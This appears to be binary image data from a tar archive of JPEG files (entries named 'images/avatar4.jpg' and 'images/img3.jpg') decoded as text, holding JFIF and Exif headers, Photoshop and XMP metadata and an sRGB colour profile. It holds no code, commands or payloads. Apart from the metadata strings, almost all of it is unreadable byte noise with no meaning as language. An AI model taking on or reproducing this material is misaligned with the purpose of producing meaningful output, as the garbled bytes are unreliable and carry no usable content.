�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��@@"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�˦ܸ��R�o�6�-��VP

^������C _����r9�Ho/,�(k����Im�7�f�9黑�[D-����T�H�%�e;v�a�:�+'�-��v�s�i�TѬt���8�)ى��xa,���;�dY��&�6��\}̀�hasjש�ڷ��^��ٿ�]��w��#�������@_)i6�c�R)Z��6�N�'��.m�f���+��~?�@�+��(Ɉa2�V�_M���<)� �VR1h�F����D!e=��|3F�S�^o��7����5k����o��6ŵ�cun[�!R(����� Dn|:���M2�	��F��/ʙ��1dus!�B�ݓIak���H���<U.ln<R�!����d]�=�ԏ2J��b�8�xу�_��'�>Z��t����$�`�v�*���
��/�/�۽U$R���s���6�%)0�LL:��Ÿ�޶oM���df��_��ý{L���ծإ�Ov�ƭ�|g��X�@�L�DHc:$Xӭ�f ��r
hF�"V������F����4bj[sS֧m}1�����(�	�7��M���?��}F,i�p�Iԡ� ��.�Ձ>1�����3,��)C㕦�wms-��F�G�BsE������c��";�l��꘣Z)��͸��i�>v{s=����O����n0B����ܼ�I~�H\�-
F���\A��#f�UssB�T��T�O�����&���_^H+V_���pj(��q4�Zs�$Q�ώ[9t�-�M a�;w��ڊ~�+�2(��!��-x���+��>Mz���2k{���HEk\1�$� u���I
u�|{��gf��GL� �E��S;_}���3���R�'�a�l�h&
F�[�r$�E0s�f r���9,�59Hyrܓ��_�ߙ`����.�XMfX�3�G��f_�s�!�d��Tru瘵?&ߺzFkcƢ�	�?�\?4�I���H���u�K�s�#�ȗ�KL
�%VRg��'p~k�[��e���얜������ѽb�U}�1�F��j�����	�@��CmY�$��OYC�w��r�	d�v6ש���m�@��ʫ��AeR�u��'W���>���}5S�6z�2
h<2$X�h�9��7��images/avatar4.jpg000060400000013737150710775200010070 0ustar00���JFIF��C	

			

		


��C	����"��	
��<!1A"Qa	2q�#�3R���B�Ccrs����� !1Aq"Qa��?ʭ




w�����EAAN��Nܨ����L{W�6ݺ�Y\��
K2�8��L�8��~ݱ�4Ұ#������~���6^pG2���n� �S�:���Y��P	᪬ca�Ӑ��ʄ�-���%��>W%�U
���8@�I$rH�v����=��GyM�h��j9�P
�h�����A$�S�#�mi��@�4��M�d�����7����c ���z�q'�T�V��;�rR�J�E��,�+��\r>��㶵{���}3p����i�m���eE�\��K[4����V1ubA˓ˁ��6TE��5H���
>�Tx��@`+�I$x`���H�
�ň���=� ��v�uȠ�۩��y��B�r��Aǁ���\Y�1^��F��5WZu�j�*������fhL�ۛ$w�����[�����wpl\����-����§���L��>P���r�y�V]��iU)CUF��L3�����
�@�$ddd�����>2�rz�yTd���'���Ճ�X�j�#sm����$
k�Ԓy�ʪN>��!��~�M&d��ݺ�mk�	%]Z;�+tG+���'��;����+�+-���WӼ7+�y�G�#�#Y�@p����hժ�Wy�SZ�S�z�kؐ3�8$�v����vݠ\+��^�ߙ
�1���p}۰�ߔTc����4V�(��<����#
3}O���rI+]�N˯^�cC$�*�O�ր��0zm��E�m�u-6���J���t�%D�M�MO��I�8TR�-�
f�H)*DԶ�g�p��#*��݉8'�s�����o�'�\ۛ[{�)mf��[Um��K(��^��Qv���1��2��z���5ѽZIX�q��24���)'E��Kc�X�U<��,b9,�	�>>a��w�s�S�2��:3c?l�c���8�T��ퟮ��Ʋlb<�Oh����)��R�P�A#|�W>3����T���;�t��I
��w�\���Zj����I`�?Q��"�*T�Y��5��+6{�aT���R�}��[3d�[k\�{��Uv:��T�Y8f8�ߞcnR�1܌g��)���h�\��W�B�_SD*
��)�1!�`� }u���3���#U��lԒf���JT�P�<j2B�|1�5��s�6���}�Ih�M�|����q�s:���<�u�/l�Àbs�Ƅ�=�t��v}�5b��2`�U�D�����w�(�hQ�Ɩ(��]-�v{�E��#��Q��#>A ���j��Ga�2YZ��7*2FBy���c�^ǿa�bu_5��0|(�vn�EDJ~*j��V��#9O3yS��|xՖZoli��+T[;���J�gg�p��0���6a�Ý�;�d��$g�mo*,R{�������R0�0_��?|cJ��>G�:7h����ܷ��F������#R���c��B�����`�ݿ�*v��樃���e�pB� d:4m��T�$�f��Ys��(ޜ�tY�̥`s��՛��>��X�>֪����i�%�1�儢��*�T��!�^2p놛�����r��٧� ��%����"��br9�d���N�d�u6F��1�?��b��%Q���*�Pݞ�q��R�Ӻ��c���֏�QEp��T3m�劔\n�����!���+"�s#�dc�����b���'���#�����>�}ZQzg�[.ێ��M�*$�[v�:|�C��4��3F��X��n�pN����g�}S�N��$�.��)�h�h���A��[Th�N��p�Z�h��"M0�*�A�ù�V}W�W�B�l��pR�H*�%%<����:x�d�,��振*�<�=�2u&zt�Mc�w�h��m�mw&�W[e��Ɠƫ)hd 3����� �*<Wܶ-��j66���Z+(e���c�=�r��N@O2�;r��:�K$�M3.�6|��
x�?�Ҋ@Jd�`�a�͏l����@�h�BP��|.�7v��{�aM%�5T���\��1�
9[Œ�JgέcӒ�?�Q�,QV�.%bImu1N�a�Y�eyPK�v<������v���-��ei���I
)�//?M�c'�q�)-/�?�J���Ƈ�09�u�0Sc�4v��o��ܴ�OfZ�v�G	��H$S2�=�s�mw��W��C��In6�/V�6eD4T�t���"��P|�
��m@~��U��?��̱E=��Qnm$9i*Z�Rj#�G���Ž��Α�#q:�f�K�g����M����1�i_�!�Oe���N�k/��UL�R��U�X_��)�$���s�S$���0��G<���D����1�*�/r��_����	��q�Z�*�*�[!��QT��=&�™��$#*3��il�"�k�Uu{��I����t�T`{�Z.|����8wW������Z{�K�=mM��µ�F�Ń"�fP g8��])�访�7���8{��v
�M|�52���q��
����uh�#�Q PX`�$\2���Ş
�zz�nAL-�
>~�%B�����Orn����M�kuqA5��c6eQ0*3�ePGc��g�K�w�X%��ĝ�MB
<�y���?)�G�:��]+�>nn�ݱwu$ԛ��{���[-=�"��	�rcE��6@��.�*.Ho��;����oZ�K��t
C��1j`�Pm-�n�l�
9ey� n�ρ�N�U�Ԯ���'�B���OGn��-NqD��ţ��s�n��6�!_��Cᗿo�ҫS���k�LH�bI���b�7b��z�p�������΅y���g8�ӗ�~��4���Ï`t���5�ո�2�>�j^���S�t���}X�y�3�lg?A�e���Ƕ��P�iH��C�N�JƟ܁�A��8̲�Ɗ2�Ns�t�͗v]7�ݱ%ho�ժ��Vǩ$��5Nr�+���m�(��=4=HcF?.G�>���oڍ}*�]6]�w�����S/F'\
&!�<I�w>Õ}�g��t�,�3�{��`�)J�2n�D[6�pmčn)��y`��L�����Χ`H�{H��i�O]+Z�+�,�uչ��~�K��W`����[uann��|�$c���u��W}�Q�'�[�-]M+�=~��d�?^�M�5�Qm���4�β�^*+���H�h��s��OwY.�c[<u���S���<����{�Gn�$��Ѥ�׿I���{�����O,3F�O�f�{�����l�T$�#Gxi�����茕~X�Z�߱�ٹ�]�d�ժ-wz	 �GL1,�$���p=��U�m\�����1�WZ�d���N9�ن}�֦[���maR0�Tv�aW��>��W]QzM�`��RZ4��4M#�v�nU�;�;R{j�,��	:{*Ѧ�;v׆���������E ��yS�#�__��v��P�i��?�^S�W4��]%n���[f︾���������t�g���yq�}���>����+:t��[=,����d���+'�E&WA��bl�	��b�_�t�k���p�~H)���I���$�rF���Wׇ<J�*�����o�s��\�S�]Pr>2�X�\�m��m�Id���U�n�����a����YG�:��+��6�"5��'�Q�Oo�E\}I+E�^O�H�߰E`�1�N�6�ձxxE��q�� GW]�S�������ś�b54J�v��#I�'��x��̏,҂@�6}���|d�J�bm�IS
%]=�
��0Q�UA�Ǘ$����ߧݰC�+)Q�0:D�0���'����)��ED( I�ln�;m)wbG��G<�^)���y����'D��{�q�"|d�;����局�5��'Nx�i�,�L]�_a��1�)k������s�"��~��c�4�p�_�Ò,O�0�?s��}����Ċ�$"�����Xj�5�"?�A'���謔�Ы

k|D�+s��~�@�o8t]���]>GLw9��M��V�Nu�4e8#
���jh�:)�2�XyC��������ֲ�J#�5�c��p��}�u~7T���}���DV�g�4���[�U��2a���mW~$�E�Z%���U�W����-�X�Ju=ĝo�Y�#��gƭ���>��B�1$�>~��:�\�ۆ���W�۲�)Z�KS��X'�$�ؑ�}5\=]��,|&�����J���dD���*��PcD8�U����bZ���+���ҫ���<��GR?$���{�#Xꟈ-���u�Q\�+l�fymP��*LnVZ��Y��W���h���$�?B2� ����<b�E���g�P�
�O
Mu4�+z*$wI�X�䛕�	c�F�4��7/
�勈�B����lu�Ļ�I�~h��ef�E-�a̎�{�|s�����[/ʒ'���h�)
��X��C+� ��u�o�YïT��t캕��R�a�m�����u^̀:��s�B���F�ݦ��;I���鮈��C�L �ܶS��W���2Tۗ��̰��~urt礞9�x�I"�C$���� ��hSάÙ���G�k�[%��gT�H��Im���L��P;���)����2�8Q��:0��`�8�tЇ[)��nzZ�{|�:��R�9G���Ӟ�h&�MM2H��dF?��m4Qطlg_��\�j!���je�"ydp���:h\/��q�Rl�_����t�0��`��}@��
-�t�+�-���5��(����������ǺoqX�4�ܠ�o����+
<��G�݋c����Z�_��
��NrVW+�������GGGm�JK},T��$
��� �r�|�J������k�L���y�K�7��z]�}f�ݳ
˭]D��+��U(���Ne2LAT��n�2��~#��i�;�Fϸӷ7�4��id���(]$�/H�GV���L���@ӏ��B�|W�w�#�{�����X��s;�[�Ɓ�+(TD�Tvi��d� hhhj@\���v��wZ��ĿUY��i�Mm9� �
�2�VF]Y��V ��o�/�l4�_{UR������U���R��(dw%���D�?�ʆP���}
i#��?N����Ul=�v @9���r�B�Az{4V5��8m
n�_���4�����?����N4����:��,���}���.�q�
v���Z�%��R�Z5��#e�<��X2���-�)	&�]Z�
{�+��i)��4r�e?��}3?��\f�7�jyTs<k���#�>�7���Î&���^(�}�3�kE��M_��Nn�S������3���t᯦��4U�GWs��!h�#��甏prBtW���5�O�RIS�LXx&�:�deH��?Eޔ�ː1�4��!i��g�-<E"�e�s�$��O8��>���[kl�Ϩh���OC�9y�fg^~^t�3�eϑ����yc��h�ER����o�OLZ�&ٵ���q�������%��)�A�*%�X�$���&*�L�g������/����Ch�"�c����U䫨���)�r&R�V��q�v-�F=]�"�/�$u�KfUSo�)�H���I�-uI/H��Tp���R`L�z\��$��}�7OwU�{�k�E�x����NG4�{UT������������s)$�������images/img3.jpg000060400000060137150710775200007361 0ustar00���ZExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:27 19:32:13����&(.$HH���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?����
RZ��P�]���"RQn���*�[dU����[�+2���_��bg9�.�V�.Ўp����خ�@�d����L�ncǂf��D �
F6��cٹ��߫Z�M��dHeny>���ϲ���-_��W�m�[C���V,trd����%�l$�t}�����pk����\��ϩ�2��ӏN��{*�Ρ����ڽ��ܺ4���U$�I)I$�JRI$���:I)���K�8Kl���QZ��=�;���~)8W�'�g��rJJ����(���Wiq(�H�%'��2�0[�z6f^.}7t�n;ؐ���v7���2�tޫgO���cw��~�Ç�3�MI�tl|�R,�,7��`d�i��{�5i�.����uz��<���N;��[�7�ݷ�
mxEtj�f�m�-�$�����$��&u�$�r����2{�i����eJ)�R�BKT6�"O(meB+�杌L�܋X��%$h�8O�������F�v'M�՞c�G�[���E+@�-�á�����c�'/��04I{�3���7�S�&�
��x�lô�C��(�7і=v5�un,{������;�W�}Z�y�=��`o��B�?8�.��D.��.f�ٌ�K5�"�@��ۚ@�E.#E��%��\a�<��z48O	%^��'j����$��WkO�Y�SoR�
�$w���;���&O�	�:�%xɥ����2����  ��D��)���90SJ3 �F��7�E�	�����~w�[Se!IH������)��Z��c�
v���]]�n���=�^���}Ѻ�f����J6��s�K�Ҳ�����=O���q�2���r��~�5�0X�:�z�dY��?����5�����Sz�+o���.�۞6ٿo���h��S�-Pq	K�D�~�i챺�NPn^Ǿ��We[^�ln-ɭ�g�PǢߝ���ί�Ni7��|��F�o�J�V�a3�}�#����R�n�{���3!����?w��E�W\��� R��@ߢ�{��$:��-�V���I�úm�3��b��Y{���}�e];,f�΢��#i�ֲ�:db��*4�Ssb���{]�D9'a�����#�����;����N��%����L���z����c�
e��C�%�u"ϥ��C�z��~ɁY�P^��1���r'�
Æ��X���-moan��<ZK��%��E�cr	Q6�HM!?���k꺃V����-��`�t�{��F�0\;��~Gտ��N�wOc���Y���b�s�l�H������a'��_PKKm�w6��Ź�k���dXZ�W���,���sh
'R2*q����Or�a���	�9�iq/�E�L�\�7������"1٤G�6��3�/�������V�)�ٵ�����:�m�"���}?׭��v��2��ѳ�����Jb!/�����
�3q�f����v1����%�Ib�Lu�Zm����#�'�V���`ii��Iw�(-O`\���h'���d`�W��mwr^�?y͝��bNc1Ȭ��A��*wW�z��ܓܩq�;1d�h7z����lǰ˝/%ڒ\}�]i�<��עfYF]6�����	ڽj�SI�>C[[	i]���u���鵰��i�	����WP�́r[B}�(�Ĺ1r�КVUA�ԍYN���:%fe�лڳT6<4�3r�ÅJ�N ���;�*l̶Z���8d��'���I3�c�I�E�
�<�|-�XN�̮o��7ia0@�ඛ{`�t�SW�S���)��̱������>�`��p�~���W��î�
>�u;��(<�X��VA/ǼF�
e��=��o�̌�A��7����-���y�����,����i�jd����d�U���xq�8�J�;�����O�F1��Q�̆<�\^�s�$��Y�5�
��n��i@�8o�Ea���ՓU���O���:���ú^c��B�ѕ�2�p)>-�2f�~>��p
�6�	��쬙T0�ŗe3�]2ӹ�)*��{�6�'Q(~�cbVO����m��B����'�Ӛ>
��:�	��*n��z<Ӻ�5�nג;����Ǯ4�
l?�ܷ�i��
-�1��p��e�>���s���]��#?�Y�m���w8�趭�:	ճ��ѱ�~���?t}��8���2���
�i��%��9t�#����c�nk*�X$����+c�H0<�*�e�a��CIvL�&�3�^��F��W��pÙVk���q.kl{l���ֽ�N��0��kI���6Mwb�c\n64x���K�c�K��Vq����b d5�O�_ƫ=�²XZe�Oc-4#�z���A=��\Ϥ�~��}�ұ��um?��Lj]vMX�ox`���ۋ�]M�V�>����d��l�wTu�d�ṙ����g��)iw�vWz+ku"�{�f��O�De-���mS��[;	��H�K�h���q5�T�m	mj>ߊ8��֭�F�Љ��=��ϳ"���"�e���?�2w��P�@|B#od�������>$�6�c�4}�R��ؽ%y�S�{3kws��J�/VK���&`�]�m�&���K�Sԫe������}m��xǩ��'hq4}qU�zgF�fa�`р�s���j�ss��̷.�
����j~<`�1�� �/��s�g�u���tmc[�Z��Y��ބ�C�r�Y
�I$�l�V�1�H��[([����C�N�9=z�D�Ay��zvQ����8��#,�$V���˴�*�����(��[�[���ص��X^�V�x�Wd�Ң�σL W�z��-�x��C.����R��7�UmMp:���h����4����c][�'����������V#2H, C�z�-�s�����!ZoTc��Q�xK��ʩؕ	 )�ҥ��X5e^�!��VH�{}�X>�R�����oX�`�<�s֩��5챎3D��&9'����,J%�Y����$"I���#SA���4�;�	���L�e�6�<�4�>k��)��-2xh���SG�n�e�d�M�w7/#:��d;s���kv�"��	��{)E��$��fZ;)6�7B$(E�^��y(XW	M�����j���s�&��w�Z�r�)*�߉�^MF,��iC��>��:E=+�S��K�|j����-�Y������@�<֔��N�E�3�>�vFR���u�C�ll�W�xh�����.���0�3i��˜�	U�
`������j��q>�#̅��MT
���z��O�T�<T^�w:�{��h������W���4hCkG�v���:�A��v-g�#Y�"7h�D-T�X;�AX���J#Z9?�a+�b+R
h�;d�D�ݨ�%J�b#���li�`[:�X��0�.{O�y����㐻`��V���3��+�+�sA�U�|�Gvĥ�r[�Z��k+��SNc��v�KJ⾴���R�gC��f����\�t*m�s{�H����RPhotoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI��
Untitled-1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM@���,$���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?����
RZ��P�]���"RQn���*�[dU����[�+2���_��bg9�.�V�.Ўp����خ�@�d����L�ncǂf��D �
F6��cٹ��߫Z�M��dHeny>���ϲ���-_��W�m�[C���V,trd����%�l$�t}�����pk����\��ϩ�2��ӏN��{*�Ρ����ڽ��ܺ4���U$�I)I$�JRI$���:I)���K�8Kl���QZ��=�;���~)8W�'�g��rJJ����(���Wiq(�H�%'��2�0[�z6f^.}7t�n;ؐ���v7���2�tޫgO���cw��~�Ç�3�MI�tl|�R,�,7��`d�i��{�5i�.����uz��<���N;��[�7�ݷ�
mxEtj�f�m�-�$�����$��&u�$�r����2{�i����eJ)�R�BKT6�"O(meB+�杌L�܋X��%$h�8O�������F�v'M�՞c�G�[���E+@�-�á�����c�'/��04I{�3���7�S�&�
��x�lô�C��(�7і=v5�un,{������;�W�}Z�y�=��`o��B�?8�.��D.��.f�ٌ�K5�"�@��ۚ@�E.#E��%��\a�<��z48O	%^��'j����$��WkO�Y�SoR�
�$w���;���&O�	�:�%xɥ����2����  ��D��)���90SJ3 �F��7�E�	�����~w�[Se!IH������)��Z��c�
v���]]�n���=�^���}Ѻ�f����J6��s�K�Ҳ�����=O���q�2���r��~�5�0X�:�z�dY��?����5�����Sz�+o���.�۞6ٿo���h��S�-Pq	K�D�~�i챺�NPn^Ǿ��We[^�ln-ɭ�g�PǢߝ���ί�Ni7��|��F�o�J�V�a3�}�#����R�n�{���3!����?w��E�W\��� R��@ߢ�{��$:��-�V���I�úm�3��b��Y{���}�e];,f�΢��#i�ֲ�:db��*4�Ssb���{]�D9'a�����#�����;����N��%����L���z����c�
e��C�%�u"ϥ��C�z��~ɁY�P^��1���r'�
Æ��X���-moan��<ZK��%��E�cr	Q6�HM!?���k꺃V����-��`�t�{��F�0\;��~Gտ��N�wOc���Y���b�s�l�H������a'��_PKKm�w6��Ź�k���dXZ�W���,���sh
'R2*q����Or�a���	�9�iq/�E�L�\�7������"1٤G�6��3�/�������V�)�ٵ�����:�m�"���}?׭��v��2��ѳ�����Jb!/�����
�3q�f����v1����%�Ib�Lu�Zm����#�'�V���`ii��Iw�(-O`\���h'���d`�W��mwr^�?y͝��bNc1Ȭ��A��*wW�z��ܓܩq�;1d�h7z����lǰ˝/%ڒ\}�]i�<��עfYF]6�����	ڽj�SI�>C[[	i]���u���鵰��i�	����WP�́r[B}�(�Ĺ1r�КVUA�ԍYN���:%fe�лڳT6<4�3r�ÅJ�N ���;�*l̶Z���8d��'���I3�c�I�E�
�<�|-�XN�̮o��7ia0@�ඛ{`�t�SW�S���)��̱������>�`��p�~���W��î�
>�u;��(<�X��VA/ǼF�
e��=��o�̌�A��7����-���y�����,����i�jd����d�U���xq�8�J�;�����O�F1��Q�̆<�\^�s�$��Y�5�
��n��i@�8o�Ea���ՓU���O���:���ú^c��B�ѕ�2�p)>-�2f�~>��p
�6�	��쬙T0�ŗe3�]2ӹ�)*��{�6�'Q(~�cbVO����m��B����'�Ӛ>
��:�	��*n��z<Ӻ�5�nג;����Ǯ4�
l?�ܷ�i��
-�1��p��e�>���s���]��#?�Y�m���w8�趭�:	ճ��ѱ�~���?t}��8���2���
�i��%��9t�#����c�nk*�X$����+c�H0<�*�e�a��CIvL�&�3�^��F��W��pÙVk���q.kl{l���ֽ�N��0��kI���6Mwb�c\n64x���K�c�K��Vq����b d5�O�_ƫ=�²XZe�Oc-4#�z���A=��\Ϥ�~��}�ұ��um?��Lj]vMX�ox`���ۋ�]M�V�>����d��l�wTu�d�ṙ����g��)iw�vWz+ku"�{�f��O�De-���mS��[;	��H�K�h���q5�T�m	mj>ߊ8��֭�F�Љ��=��ϳ"���"�e���?�2w��P�@|B#od�������>$�6�c�4}�R��ؽ%y�S�{3kws��J�/VK���&`�]�m�&���K�Sԫe������}m��xǩ��'hq4}qU�zgF�fa�`р�s���j�ss��̷.�
����j~<`�1�� �/��s�g�u���tmc[�Z��Y��ބ�C�r�Y
�I$�l�V�1�H��[([����C�N�9=z�D�Ay��zvQ����8��#,�$V���˴�*�����(��[�[���ص��X^�V�x�Wd�Ң�σL W�z��-�x��C.����R��7�UmMp:���h����4����c][�'����������V#2H, C�z�-�s�����!ZoTc��Q�xK��ʩؕ	 )�ҥ��X5e^�!��VH�{}�X>�R�����oX�`�<�s֩��5챎3D��&9'����,J%�Y����$"I���#SA���4�;�	���L�e�6�<�4�>k��)��-2xh���SG�n�e�d�M�w7/#:��d;s���kv�"��	��{)E��$��fZ;)6�7B$(E�^��y(XW	M�����j���s�&��w�Z�r�)*�߉�^MF,��iC��>��:E=+�S��K�|j����-�Y������@�<֔��N�E�3�>�vFR���u�C�ll�W�xh�����.���0�3i��˜�	U�
`������j��q>�#̅��MT
���z��O�T�<T^�w:�{��h������W���4hCkG�v���:�A��v-g�#Y�"7h�D-T�X;�AX���J#Z9?�a+�b+R
h�;d�D�ݨ�%J�b#���li�`[:�X��0�.{O�y����㐻`��V���3��+�+�sA�U�|�Gvĥ�r[�Z��k+��SNc��v�KJ⾴���R�gC��f����\�t*m�s{�H���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-27T19:32:13-08:00" xmp:MetadataDate="2014-01-27T19:32:13-08:00" xmp:ModifyDate="2014-01-27T19:32:13-08:00" xmpMM:InstanceID="xmp.iid:f727c85f-e965-cd41-b07f-b3b4398817be" xmpMM:DocumentID="xmp.did:e50baeb4-e9d9-9640-9da6-ca8dd6389c4a" xmpMM:OriginalDocumentID="xmp.did:e50baeb4-e9d9-9640-9da6-ca8dd6389c4a" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:e50baeb4-e9d9-9640-9da6-ca8dd6389c4a" stEvt:when="2014-01-27T19:32:13-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:f727c85f-e965-cd41-b07f-b3b4398817be" stEvt:when="2014-01-27T19:32:13-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
����"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�qB(=�l��YYL��� �%h��k�R��wŊ�BJ�"��hre�XC<c�*G|'״��(��j r�\�i�!��JUj1	֘����9{J�
FX�H�Tǡ�v�S��!�yU�r1U'-�aC�����1<� �:>��&�܏j��-Q��M��(9�/kچ�{
��gXOĻї��=G�]rwI�ԭ�#�@�[bppb�!v���S7���3f�ɲk6^lU��y�Wee�b�͛/k6l�U��yX����u��,X����C�,��U\^6��^��$ѵ!f�:�/����CWcSL!LT�n��'O�e�igB��l�]pK�� ���˚�xPeF����v̫M�B!`�LsB�O��䫀F�q	�@=�M=O�>R�f��f1�Xի�F�:�4�4{E��?��������A�5j:`M*8
